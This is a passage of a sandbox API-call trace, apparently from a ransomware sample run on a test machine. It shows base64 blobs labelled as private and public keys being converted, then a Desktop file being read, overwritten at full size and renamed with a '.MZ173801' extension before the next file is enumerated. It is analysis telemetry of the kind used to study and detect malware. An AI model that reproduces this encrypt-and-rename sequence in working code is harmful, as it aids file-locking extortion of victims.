sOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0174.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0174.332] GetCurrentThreadId () returned 0xab4 [0174.332] GetCurrentThreadId () returned 0xab4 [0174.332] GetCurrentThreadId () returned 0xab4 [0174.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0174.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0174.333] GetCurrentThreadId () returned 0xab4 [0174.333] GetCurrentThreadId () returned 0xab4 [0174.333] GetCurrentThreadId () returned 0xab4 [0174.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-1A7SasGu.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\-1a7sasgu.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0174.334] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0174.334] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0174.334] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x1496c [0174.334] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0174.334] ReadFile (in: hFile=0x300, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x1496c, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x1496c, lpOverlapped=0x0) returned 1 [0174.336] CloseHandle (hObject=0x300) returned 1 [0174.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-1A7SasGu.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\-1a7sasgu.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0174.563] WriteFile (in: hFile=0x300, lpBuffer=0x24b6040*, nNumberOfBytesToWrite=0x1496c, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b6040*, lpNumberOfBytesWritten=0x19fa24*=0x1496c, lpOverlapped=0x0) returned 1 [0174.565] CloseHandle (hObject=0x300) returned 1 [0174.609] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\-1A7SasGu.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\-1a7sasgu.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\-1A7SasGu.swf.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\-1a7sasgu.swf.mz173801")) returned 1 [0174.688] GetCurrentThreadId () returned 0xab4 [0174.688] GetCurrentThreadId () returned 0xab4 [0174.689] GetCurrentThreadId () returned 0xab4 [0174.689] GetCurrentThreadId () returned 0xab4 [0174.689] GetCurrentThreadId () returned 0xab4 [0174.689] GetCurrentThreadId () returned 0xab4 [0174.689] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8732ecd0, ftCreationTime.dwHighDateTime=0x1d5ec2e, ftLastAccessTime.dwLowDateTime=0x9f8540a0, ftLastAccessTime.dwHighDateTime=0x1d5e8c1, ftLastWriteTime.dwLowDateTime=0x9f8540a0, ftLastWriteTime.dwHighDateTime=0x1d5e8c1, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-BDuYPMgtElm0fIg.gif", cAlternateFileName="-BDUYP~1.GIF")) returned 1 [0174.689] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0174.689] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0174.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-BDuYPMgtElm0fIg.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\-bduypmgtelm0fig.gif"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8732ecd0, ftCreationTime.dwHighDateTime=0x1d5ec2e, ftLastAccessTime.dwLowDateTime=0x9f8540a0, ftLastAccessTime.dwHighDateTime=0x1d5e8c1, ftLastWriteTime.dwLowDateTime=0x9f8540a0, ftLastWriteTime.dwHighDateTime=0x1d5e8c1, nFileSizeHigh=0x0, nFileSizeLow=0xe796)) returned 1 [0174.689] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-BDuYPMgtElm0fIg.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\-bduypmgtelm0fig.gif")) returned 0x20 [0174.689] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-BDuYPMgtElm0fIg.gif", dwFileAttributes=0x80) returned 1 [0174.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0174.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHC